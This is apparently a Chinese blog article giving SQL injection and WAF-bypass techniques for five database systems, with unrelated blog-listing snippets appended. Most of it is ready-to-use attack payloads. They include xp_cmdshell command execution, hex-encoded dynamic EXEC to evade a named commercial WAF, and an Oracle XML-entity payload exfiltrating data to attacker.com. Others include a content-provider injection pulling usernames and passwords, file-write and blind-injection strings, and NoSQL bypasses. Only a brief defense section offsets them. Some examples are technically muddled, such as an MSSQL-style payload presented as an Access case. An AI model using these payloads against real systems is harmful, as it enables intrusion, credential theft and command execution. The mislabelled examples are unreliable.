news 2026/7/29 8:11:54

五大数据库SQL注入攻防与WAF绕过实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
五大数据库SQL注入攻防与WAF绕过实战

1. 数据库SQL注入攻防全景解析

当我们在做渗透测试时,SQL注入永远是最常见也最危险的漏洞之一。不同数据库的注入方式和防护策略差异很大,今天我就结合自己多年实战经验,详细剖析Access、MSSQL、Oracle、SQLite和MySQL这五大数据库的注入技巧及WAF绕过方法。

重要提示:本文所有技术细节仅用于安全研究和授权测试,未经授权的测试行为可能违反法律法规。

1.1 为什么不同数据库的注入方式不同

每种数据库管理系统都有自己独特的语法特性、函数库和系统表结构。比如MySQL的注释符是--(注意末尾空格)或#,而Oracle则需要用--。这些细微差别直接影响了我们的注入Payload构造。

我在实际测试中发现,很多初级安全工程师习惯用MySQL的Payload去测试Oracle数据库,结果当然是徒劳无功。理解这些差异是成为专业安全人员的第一步。

2. Access数据库注入实战

2.1 Access注入基础特征

作为经典的桌面数据库,Access虽然已经逐渐退出主流,但在一些老旧系统中仍然常见。它的几个关键特点:

  1. 没有真正的注释符,必须使用'闭合语句
  2. 系统表是msysobjects(但默认不可读)
  3. 常用猜测表名技术:
    ' and exists(select * from 猜测的表名) and '1'='1
  4. 盲注主要依赖mid()asc()等函数

2.2 高级绕过技巧

当遇到简单过滤时,这些方法很有效:

  • 大小写混合:SeLeCt代替select
  • 空字节绕过:%00select
  • 特殊连接符:SeLeCt可以写成S%0bELECT

我曾在某政府系统中发现一个经典案例:

admin' and 1=convert(int,(select top 1 table_name from information_schema.tables))--

这个Payload成功的原因是利用了Access对类型转换的宽松处理。

3. MSSQL注入深度剖析

3.1 MSSQL特有技术点

作为企业级数据库,MSSQL提供了更多危险功能:

  1. 多语句执行:'; exec xp_cmdshell 'whoami'--
  2. 延时注入:'; if (system_user='sa') waitfor delay '0:0:5'--
  3. 报错注入:' and 1=convert(int,@@version)--

3.2 WAF绕过实战记录

去年在某金融系统渗透中,我遇到了奇安信的WAF,最终通过以下方式绕过:

原始Payload:

SELECT * FROM users WHERE id=1 AND 1=CONVERT(int,@@version)

绕过方案:

DECLARE @s VARCHAR(4000);SET @s=0x73656C656374202A2066726F6D2075736572732077686572652069643D3120414E4420313D434F4E5645525428696E742C404076657273696F6E);EXEC(@s)

这里使用了十六进制编码加动态执行,完全避开了关键词检测。

4. Oracle注入的艺术

4.1 Oracle特有技术

Oracle的注入有其独特之处:

  1. 必须使用FROM子句:SELECT 1 FROM dual
  2. 权限体系复杂:需要关注DBA_TABLES等数据字典
  3. 报错注入典范:
    AND 1=utl_inaddr.get_host_name((SELECT user FROM dual))

4.2 实战绕过案例

某次遇到Web应用防火墙过滤了SELECT关键字,我使用了Oracle的XML函数绕过:

' AND 1=extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT user FROM dual)||'.attacker.com/"> %remote;]>'),'/l') FROM dual--

这个技巧将查询结果通过DNS外带,完全避开了直接的关键词匹配。

5. SQLite轻量级注入

5.1 SQLite注入特点

虽然SQLite轻量,但注入同样危险:

  1. 系统表是sqlite_master
  2. 盲注常用randomblob()制造延时:
    ' AND (SELECT CASE WHEN (SELECT length(sql) FROM sqlite_master LIMIT 1)>10 THEN randomblob(1000000000) ELSE 0 END)--

5.2 移动端注入案例

在测试某Android应用时,发现其使用SQLite存储凭证。通过以下方式获取数据:

content://com.example.app.provider/users/%27UNION+SELECT+username,password+FROM+users--

这种Content Provider注入在移动应用中相当常见。

6. MySQL注入大全

6.1 MySQL经典技术

作为最流行的数据库,MySQL注入技术也最成熟:

  1. 注释方式:--#/**/
  2. 报错注入:
    ' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)--
  3. 盲注:
    ' AND IF(ASCII(SUBSTRING((SELECT user()),1,1))=114,sleep(3),0)--

6.2 WAF绕过宝典

针对各种WAF,这些方法很有效:

  1. 空白符变异:
    SELECT/*!50000username*/FROM/*!50000users*/
  2. 内联注释:
    /*!UNION*/ /*!SELECT*/ 1,2,3
  3. 字符编码:
    SELECT CHAR(117,115,101,114) FROM users

7. 通用WAF绕过策略

7.1 常见WAF检测点

现代WAF通常会检测:

  1. 关键词:unionselectfrom
  2. 特殊字符:单引号、等号、注释符
  3. 语句结构:异常的SQL语法

7.2 高级绕过技术

  1. 等价替换:

    • ||代替OR
    • &&代替AND
  2. 非常规函数:

    SELECT x FROM y WHERE id=1 INTO OUTFILE '/tmp/test'
  3. HTTP参数污染:

    ?id=1&id=2' UNION SELECT 1,2,3--
  4. JSON注入:

    {"id":"1' UNION SELECT 1,2,3-- "}

8. 防御措施建议

8.1 开发层面

  1. 使用参数化查询(PreparedStatement)
  2. 最小权限原则
  3. 输入验证白名单

8.2 运维层面

  1. WAF规则定期更新
  2. 数据库错误信息屏蔽
  3. 敏感表名重命名

我在实际审计中发现,90%的SQL注入漏洞都是由于开发直接拼接SQL语句导致的。一个简单的修复示例:

Java错误示范:

String sql = "SELECT * FROM users WHERE id = " + userId;

正确做法:

PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); stmt.setInt(1, userId);

9. 实战经验分享

9.1 信息收集技巧

在开始注入前,确定数据库类型很关键:

  1. 报错信息:

    • MySQL:"You have an error in your SQL syntax"
    • Oracle:"ORA-xxxxx"
  2. 特殊函数测试:

    ' AND @@version=1-- # MySQL ' AND SELECT 1 FROM dual-- # Oracle

9.2 工具使用心得

虽然sqlmap很强大,但在严格WAF环境下,手动测试往往更有效。我的常用测试流程:

  1. 先用简单Payload探测过滤规则
  2. 分析拦截的请求特征
  3. 逐步调整Payload复杂度
  4. 必要时结合编码转换

记住,自动化工具产生的流量模式容易被识别,手工构造的请求往往能绕过检测。

10. 新型注入技术前瞻

随着技术发展,这些新型注入方式值得关注:

  1. NoSQL注入:

    username[$ne]=1&password[$ne]=1
  2. GraphQL注入:

    {user(id:"1' UNION SELECT 1,2,3-- "){name}}
  3. ORM注入:

    User.query.filter(f"username = '{username}'")

在最近的一次测试中,我发现某系统虽然对传统SQL注入防护很好,但却忽略了NoSQL注入漏洞,最终通过$where子句实现了代码执行。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/29 8:11:48

VCC、VDD、VSS、VEE电源符号详解:从晶体管到CMOS的电路设计核心

1. 电源符号的“江湖”&#xff1a;不只是字母游戏 干了这么多年硬件设计&#xff0c;画过的电路图连起来能绕办公室好几圈。但每次看到新来的同事对着原理图上密密麻麻的“VCC”、“VDD”、“VSS”发懵&#xff0c;或者干脆混用一气时&#xff0c;我就知道&#xff0c;是时候聊…

作者头像 李华
网站建设 2026/7/29 8:11:44

基于RP2040与折射投影的智能时钟:从LED点阵到空中成像

1. 项目概述&#xff1a;从“空心”到“投影”的视觉进化 几年前&#xff0c;用Arduino Nano驱动WS2812B灯带&#xff0c;配合3D打印的镂空数字外壳制作的“空心时钟”&#xff0c;在创客圈里火过一阵子。它的原理很简单&#xff1a;让LED灯珠在特定的位置亮起&#xff0c;透过…

作者头像 李华
网站建设 2026/7/29 8:11:34

FastAPI + Celery 实战:用任务队列处理耗时操作

在 Web 项目中&#xff0c;有些任务无法在几百毫秒内完成&#xff0c;例如&#xff1a; 批量处理文件&#xff1b; 生成数据报表&#xff1b; 发送邮件或短信&#xff1b; 调用 AI 模型&#xff1b; 处理音频和视频&#xff1b; 执行大量数据计算。 如果直接在 HTTP 接口…

作者头像 李华
网站建设 2026/7/29 8:08:51

电容与电感工程应用全解析:从基础原理到选型设计实战

1. 项目概述&#xff1a;从“元件”到“伙伴”的认知升级“电容和电感&#xff08;自总结&#xff09;”&#xff0c;这个标题一看就是同行在项目复盘或学习沉淀后的产物。它不像教科书目录那样冰冷&#xff0c;更像是一个工程师在调试完一块电源板、或设计完一个滤波电路后&am…

作者头像 李华
网站建设 2026/7/29 8:08:08

第六章系统的配置与性能

软考高级系统架构设计师备考&#xff0c;写着方便自己看&#xff0c;如果有发现不对或少得的地方可以多多指正&#xff0c;谢谢各位兄弟。一、核心性能指标&#xff08;按应用场景分类&#xff09;所有指标不需要死记硬背&#xff0c;结合场景理解记忆效率更高&#xff1a;场景…

作者头像 李华
网站建设 2026/7/29 8:07:44

冒泡排序--附图解以及代码

冒泡排序&#xff08;Bubble Sort&#xff09;详解 1. 什么是冒泡排序&#xff1f; 冒泡排序是一种基于比较的交换排序算法。 它的核心思想是&#xff1a;重复遍历待排序序列&#xff0c;依次比较相邻的两个元素&#xff0c;若顺序错误&#xff08;逆序&#xff09;则交换&…

作者头像 李华